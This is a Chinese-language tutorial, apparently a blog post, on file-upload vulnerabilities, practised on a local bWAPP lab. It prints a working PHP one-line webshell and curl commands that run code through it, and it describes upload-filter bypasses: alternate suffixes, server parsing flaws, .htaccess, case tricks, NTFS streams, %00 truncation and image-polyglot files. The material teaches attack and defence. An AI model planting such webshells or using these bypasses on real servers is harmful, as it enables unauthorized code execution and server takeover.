《web安全攻防实战》——文件上传漏洞之基础篇

1、漏洞原理:Webshell

webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。
关键函数:以php为例,eval(),执行用户输入的函数。

2、一句话木马

(1)登录本地的容器账户后,选择未经严格审计的文件上传功能
安全级别选择low,是一个比较低的安全级别,点击 hack。
《web安全攻防实战》——文件上传漏洞之基础篇_第1张图片
(2)编辑木马文件并上传-PHP

<?php @eval($_POST['hacker']); ?>    #取得post,hacker字段里的值,然后将这个值转换成php代码去执行

《web安全攻防实战》——文件上传漏洞之基础篇_第2张图片
点击here,可以看到一句话木马文件已经上传到了下图的路径中。
在这里插入图片描述
(3)让Webshell执行命令

curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php

此处介绍两个php api
get_current_user():获取服务所属用户名
getcwd():获取当前执行目录
操作见下图,服务器成功返回了用户名www-data及当前执行目录/app/images
在这里插入图片描述

3、文件后缀名绕过

将文件上传等级设置为 medium,上传文件后缀为php时,显示被拦截
《web安全攻防实战》——文件上传漏洞之基础篇_第3张图片
*将后缀名php改为php3成功绕过,改为php30却失败了,上传shell.php30文件,服务器将文件当作txt文本进行了处理,直接打印了文件内容 *
(1)调试docker

docker container list -a  #查看已经启动的docker容器
docker exec -it [id] bash  #调试

(2)查看web服务器

netstat -antp | grep 80   #通过查看网络连接寻找正在托管web服务的主要服务器

在这里插入图片描述
bwapp使用的web server是apache2,通过配置文件可以了解到apach2e的语言解析模块文件路径 /etc/apache2/
(3)查看配置文件

cd etc/apache2/
vim apache2.conf

《web安全攻防实战》——文件上传漏洞之基础篇_第4张图片
(4)查看语言解析模块配置文件

cd mods-enabled/
vim /etc/apache2/mods-enabled/php5.conf

《web安全攻防实战》——文件上传漏洞之基础篇_第5张图片
通过配置文件可发现,php、php3、php5、phptml等文件后缀都可以被apache服务器解析,这也就是为什么刚刚上传的php3文件可被执行,php30不能被执行的原因。

4、web服务器关联型漏洞

4.1 IIS 5.x / 6.0 解析漏洞

漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析“;”以后的内容
漏洞利用形式:
漏洞1:www.xxx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2:www.xxx.com/xx.asp;.jpg 会被解析成为asp文件

4.2 Nginx 解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。
PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,
默认是开启的。
当URL中有不存在的文件时,PHP就会默认向前解析。
漏洞利用流程:

  1. 访问:www.xx.com/phpinfo.jpg/1.php (1.php不存在)
  2. 会解析phpinfo.jpg文件,但是按照php格式解析

4.3 Apache 解析漏洞

Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
然后将该可识别后缀进解析。
漏洞利用流程:

  1. 上传shell.php.test;
  2. 访问shell.php.test,服务器会解析shell.php.test文件,但是按照php文件格式进行解析。

5、前端验证绕过

很多网站、CMS 都有使用,只在前端利用 JavaScript 来做校验。
漏洞利用流程(两种方法都可以):

  1. 通过Burp Suite抓包,然后修改内容后放行。
  2. 通过Chrome检查代码,禁止/删除JavaScript代码。

6、htaccess绕过

什么是.htaccess?
.htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
如何利用.htaccess?
场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的***黑名单***过滤。

  1. 上传一个.htaccess文件,文件内容设置为【AddType application/x-httpd-php .test】。
  2. 上传一句话木马文件,文件名设置为shell.test。
  3. 在浏览器中访问shell.test即可执行一句话木马。

7、大小写绕过-操作系统相关

这是一种比较简单的绕过方式,同样针对***黑名单***。
如果我们想上传一个php木马,那么我们可以上传一个pHp即可。
windows平台大小写不敏感,LINUX系统大小写敏感,但是可以手工操作不敏感
《web安全攻防实战》——文件上传漏洞之基础篇_第6张图片

8、Windows 文件流特性绕过

什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名
的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的
未命名文件流一致,甚至可以用来启动程序。
我们来用Windows平台做一些测试:

  1. Echo 111 > test.txt:111.txt;
  2. Echo test > test.txt;
  3. Echo 222 > test.txt::$data;

9、 %00截断绕过-编码绕过

可以看到黑名单会存在巨大的被绕过的风险,无论是服务器原因还是操作系统原因,那么白名单是否完全安全呢?
《web安全攻防实战》——文件上传漏洞之基础篇_第7张图片
可以看出代码采用的白名单校验,只允许上传图片格式,理论上这个上传是不好绕过的。但是后面采用保存文件的时候,是路径拼接的形式,而路径又是从前端获取,所以我们可以采用在路径上截断。
《web安全攻防实战》——文件上传漏洞之基础篇_第8张图片

  1. 设置save_path=…/upload/a.php%00 #%00 是在字符串中或者文件数据流中的结尾符,URL编码的结尾符就是%00
  2. 上传一个内容为一句话木马的jpg文件

(1)将shell.php改为shell.php.jpg
《web安全攻防实战》——文件上传漏洞之基础篇_第9张图片
(2)打开burpsuit,拦截请求
(3)将shell.php.jpg改为 shell.png .jpg
《web安全攻防实战》——文件上传漏洞之基础篇_第10张图片

截断方式可以生效的原因是我们可以分别控制存储路径和文件名称,这样才可以通过文件名称校验的同时存储为php文件。

(4)进入16进制
无法通过文件输入法打出截断符,可以通过改变16进制编码,改为截断符的编码
将20改为00
《web安全攻防实战》——文件上传漏洞之基础篇_第11张图片
(5)关闭burp拦截
文件上传的地址变成了shell.png,变成了我们想要的文件类型
在这里插入图片描述

10、文件头检测绕过-文件内容检测

常见的文件头格式
《web安全攻防实战》——文件上传漏洞之基础篇_第12张图片
以php语言为例,首先准备一个普通的png格式文件:
再准备一个用于测试的php文件,功能是输出‘test’字符串:

<?php echo 'test'; ?>  #打印出test说明代码被成功执行了

将php文件内容追加到png文件内。

利用php,解析png文件,php代码被成功执行,说明我们可以通过把图片和代码进行聚合的方式,让它既满足文件头的标准校验,又满足代码的执行。

你可能感兴趣的:(攻防,php,python)